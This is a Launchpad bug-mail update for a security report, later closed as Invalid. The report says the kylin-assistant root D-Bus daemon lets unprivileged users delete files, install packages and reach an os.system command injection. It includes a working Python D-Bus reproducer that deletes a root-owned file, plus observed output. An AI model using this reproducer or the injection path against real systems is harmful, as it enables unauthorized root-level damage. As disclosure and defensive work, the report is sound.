This bug was filed by mistake. Please close it as Invalid.
** Description changed:
Summary
=======
The kylin-assistant system D-Bus daemon runs as root, but its D-Bus policy
permits
unprivileged local users to call privileged methods. Several exported methods
do
not authenticate or authorize the caller with polkit or an equivalent
mechanism.
The following issues were identified:
1. delete_file(path) deletes a caller-selected file as root. This was
reproduced
- with an unprivileged user by deleting a root-owned test file in /var/tmp
that
- the user could not delete directly.
+ with an unprivileged user by deleting a root-owned test file in /var/tmp
that
+ the user could not delete directly.
2. adjust_cpufreq_scaling_governer(value) constructs a shell command from the
- caller-controlled value and executes it with os.system() as root. Source
review
- shows a root command-injection path when a cpufreq scaling_governor node is
- present. The tested virtual machine did not expose such a node, so this
path
- was not dynamically verified there.
+ caller-controlled value and executes it with os.system() as root. Source
review
+ shows a root command-injection path when a cpufreq scaling_governor node is
+ present. The tested virtual machine did not expose such a node, so this
path
+ was not dynamically verified there.
3. install(pkg) accepts a caller-selected package name and starts an apt
install
- operation as root without authorizing the D-Bus sender. This was
identified by
- source review and was not used to install an untrusted package during
testing.
+ operation as root without authorizing the D-Bus sender. This was
identified by
+ source review and was not used to install an untrusted package during
testing.
An unprivileged local user therefore appears able to compromise system
integrity
and, on systems exposing cpufreq nodes, execute arbitrary commands as root.
Test environment
================
* Ubuntu Kylin based on Ubuntu 26.04, UKUI desktop
* amd64 virtual machine, 4 vCPUs and 4 GiB RAM
* Linux kernel 7.0.0
* Unprivileged user test, uid 1000, with no sudo or root credentials
* Distribution-provided python3 and python3-dbus
Steps to reproduce the verified arbitrary-file-deletion issue
==============================================================
Use only a disposable test file. First, an administrator creates a root-
owned file:
- sudo sh -c 'printf "test only\n" > /var/tmp/kylin-assistant-test'
- sudo chown root:root /var/tmp/kylin-assistant-test
- sudo chmod 0600 /var/tmp/kylin-assistant-test
+ sudo sh -c 'printf "test only\n" > /var/tmp/kylin-assistant-test'
+ sudo chown root:root /var/tmp/kylin-assistant-test
+ sudo chmod 0600 /var/tmp/kylin-assistant-test
Then log in as an unprivileged user without sudo privileges and confirm that a
direct deletion fails:
- rm /var/tmp/kylin-assistant-test
- # Expected from rm: Operation not permitted
+ rm /var/tmp/kylin-assistant-test
+ # Expected from rm: Operation not permitted
As the same unprivileged user, run this minimal reproducer:
- python3 - <<'PY'
- import dbus
+ python3 - <<'PY'
+ import dbus
- bus = dbus.SystemBus()
- obj = bus.get_object(
- "com.kylin.assistant.systemdaemon",
- "/com/kylin/assistant/systemdaemon",
- introspect=False,
- )
- daemon = dbus.Interface(obj, "com.kylin.assistant.systemdaemon")
- print(daemon.delete_file("/var/tmp/kylin-assistant-test"))
- PY
+ bus = dbus.SystemBus()
+ obj = bus.get_object(
+ "com.kylin.assistant.systemdaemon",
+ "/com/kylin/assistant/systemdaemon",
+ introspect=False,
+ )
+ daemon = dbus.Interface(obj, "com.kylin.assistant.systemdaemon")
+ print(daemon.delete_file("/var/tmp/kylin-assistant-test"))
+ PY
Finally, check the test file:
- ls -l /var/tmp/kylin-assistant-test
+ ls -l /var/tmp/kylin-assistant-test
Actual result
=============
The D-Bus call succeeds and returns true. The root-owned test file is removed,
although the calling user cannot remove it directly. The backend process is
running as root:
- root /usr/bin/python3 /usr/bin/kylin-assistant-backend.py
+ root /usr/bin/python3 /usr/bin/kylin-assistant-backend.py
Observed output from the original reproduction included:
- rm: cannot remove '/var/tmp/asst_victim': Operation not permitted
- get_system_daemon() -> SystemDaemon
- delete_file(root victim) -> 1
- ls: cannot access '/var/tmp/asst_victim': No such file or directory
+ rm: cannot remove '/var/tmp/asst_victim': Operation not permitted
+ get_system_daemon() -> SystemDaemon
+ delete_file(root victim) -> 1
+ ls: cannot access '/var/tmp/asst_victim': No such file or directory
Expected result
===============
The daemon must reject privileged method calls from an unauthorized local
user.
Deleting files, changing CPU policy, or installing packages should require an
explicit authorization decision based on the real D-Bus sender.
** Information type changed from Public to Private Security
** Information type changed from Private Security to Private
** Changed in: youker-assistant (Ubuntu)
Status: New => Invalid
--
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2160486
Title:
kylin-assistant system D-Bus daemon exposes unauthenticated privileged
methods to local users
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/youker-assistant/+bug/2160486/+subscriptions
--
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs